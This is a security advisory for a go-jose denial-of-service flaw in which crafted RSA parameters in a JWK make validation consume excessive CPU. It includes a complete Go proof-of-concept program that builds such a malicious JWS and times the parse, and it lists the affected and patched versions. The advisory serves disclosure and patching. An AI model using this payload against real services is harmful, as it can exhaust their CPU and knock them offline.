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A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 4.1.5
Patched in 4.1.6
Vulnerable: <= 3.0.5
Details
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
EPSS, exploit probability
Low0.37%
estimated chance of real-world exploitation in the next 30 days, higher than 30.3% of every CVE FIRST.org scores
Refreshed 10/27/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
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A secure code review or supply chain review finds this before an advisory does.